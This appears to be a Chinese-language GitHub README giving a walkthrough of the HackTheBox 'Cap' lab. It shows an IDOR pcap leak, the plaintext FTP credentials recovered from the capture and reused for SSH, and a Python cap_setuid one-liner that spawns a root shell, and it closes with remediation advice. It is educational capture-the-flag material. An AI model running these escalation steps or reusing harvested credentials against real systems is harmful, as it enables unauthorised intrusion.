elmuallem994/HTB-Cap-Writeup
GitHub: elmuallem994/HTB-Cap-Writeup
一份 HackTheBox Cap 机器的渗透测试实战教程,演示了 IDOR 漏洞利用、数据包凭据提取和 Linux capabilities 提权的完整流程。
Stars: 0 | Forks: 0
# 🏴☠️ HackTheBox — Cap Writeup



## 📋 摘要
Cap 是一台简单的 Linux 机器,运行着一个基于 Web 的**安全仪表盘** (Gunicorn/Python),该仪表盘执行包括网络数据包捕获在内的管理功能。获取 root 权限的路径包含三个阶段:
1. **IDOR**(不安全的直接对象引用)漏洞允许访问其他用户的数据包捕获。
2. 捕获文件包含**明文 FTP 凭据**,这些凭据被重复用于 SSH,从而获得了初始立足点。
3. 被滥用的错误配置的 **Linux capability**(Python 二进制文件上的 `cap_setuid`)被用来提权至 **root**。
**练习的技能:** Web 枚举 · IDOR 漏洞利用 · 数据包捕获分析 (Wireshark) · Linux capabilities 提权
## 🗺️ 目录
- [信息收集](#-reconnaissance)
- [Web 枚举](#-web-enumeration)
- [漏洞 1 — IDOR](#-vulnerability-1--idor)
- [数据包分析](#-packet-analysis)
- [立足点 — SSH 访问](#-foothold--ssh-access)
- [权限提升 — Linux Capabilities](#-privilege-escalation--linux-capabilities)
- [关键总结](#-key-takeaways)
## 🔍 信息收集
首先使用 `nmap` 扫描来识别开放的端口和运行的服务。
```
# -sC : 运行默认脚本 -sV : 检测服务版本 -oN : 保存输出
nmap -sC -sV -oN cap_initial.txt
```
**结果:**
| 端口 | 服务 | 版本 |
|------|---------|---------|
| 21 | FTP | vsftpd 3.0.3 |
| 22 | SSH | OpenSSH 8.2p1 (Ubuntu) |
| 80 | HTTP | Gunicorn ("Security Dashboard") |
全端口扫描 (`-p-`) 确认没有隐藏的其他端口。
```
nmap -p- --min-rate=1000 -oN cap_allports.txt
```

端口 80 上的 HTTP 服务器是最有潜力的入口点。
## 🌐 Web 枚举
浏览 `http://` 显示了一个**安全仪表盘**,并且已经以用户 **Nathan** 的身份登录——无需任何凭据。
左侧边栏展示了管理功能:
- **安全快照 (5 Second PCAP + Analysis)** — 捕获实时网络流量
- **IP 配置** — 运行 `ifconfig`
- **网络状态** — 运行 `netstat`

## 🎯 漏洞 1 — IDOR
点击**安全快照**执行了捕获,并在以下格式的 URL 处显示结果:
```
http:///data/1
```
捕获 ID (`1`) 是**顺序递增**的,这表明之前用户的捕获记录可能依然存在。手动将 ID 修改为 `0`:
```
http:///data/0
```
...返回了**另一个不同的捕获记录**(72 个数据包对比 9 个数据包),这证明该应用程序没有验证请求资源的归属权。

下载了位于 `/data/0` 的捕获文件 (`0.pcap`) 以供分析。
## 📦 数据包分析
在 **Wireshark** 中打开 `0.pcap` 并应用显示过滤器以分离出 FTP 流量:
```
ftp
```
由于 **FTP 以明文形式传输凭据**,用户名和密码完全可读:
```
Request: USER nathan
Request: PASS Buck3tH4TF0RM3!
Response: 230 Login successful.
```

**发现的凭据:**
| 字段 | 值 |
|-------|-------|
| 用户名 | `nathan` |
| 密码 | `Buck3tH4TF0RM3!` |
## 🚪 立足点 — SSH 访问
FTP 的凭据被**重复使用**于 SSH 访问(这是现实世界中常见的错误):
```
ssh nathan@
# 密码: Buck3tH4TF0RM3!
```
成功以 `nathan` 身份登录。获取了 user flag:
```
nathan@cap:~$ cat user.txt
5968573x xxxxxxxxxxxxxxxxxxxxxxx88 # (redacted)
```

## 👑 权限提升 — Linux Capabilities
枚举具有特殊 Linux **capabilities** 的文件:
```
# -r : 递归 2>/dev/null : 抑制权限错误
getcap -r / 2>/dev/null
```
**关键发现:**
```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```
分配此 capability 可能是为了让仪表盘能够捕获数据包(这需要提升的权限),但它却开启了一条直接通往 root 的路径。
**漏洞利用** — 使用 Python 将 UID 设置为 0 并生成一个 shell:
```
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```
结果:
```
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
```
成功获取 root 权限。获取了 root flag:
```
root@cap:~# cat /root/root.txt
```

## 🎓 关键总结
| # | 经验教训 |
|---|--------|
| 1 | **加密不是可选项** — 明文 FTP 泄露了登录凭据。使用 SFTP/FTPS 本可以防止这种情况。 |
| 2 | **始终验证授权** — IDOR 的存在是因为应用程序从未检查过资源的归属权。 |
| 3 | **最小权限原则至关重要** — 为 Python 分配 `cap_setuid` 权限过大,并开启了一条通往 root 的路径。 |
| 4 | **密码重用是危险的** — 同一个 FTP 密码也能用于 SSH。 |
## 🛡️ 修复建议
| 漏洞 | 修复方案 |
|---------------|-----|
| IDOR | 实施服务器端授权检查;验证请求用户是否拥有该资源。 |
| 明文 FTP | 将 FTP 替换为 SFTP/FTPS,以加密传输中的凭据。 |
| Python 上的 cap_setuid | 移除该 capability;改为通过专门的、受限的服务来运行数据包捕获。 |
## 🛠️ 使用的工具
`nmap` · `Firefox` · `Wireshark` · `ssh` · `getcap` · `python3`
本文出于教育目的编写。所有测试均在授权的 HackTheBox 实验室环境中进行。
标签:CSV导出, CTI, StruQ, XXE攻击, 内存分配, 协议分析, 权限提升, 网络安全, 逆向工具, 隐私保护, 靶机攻略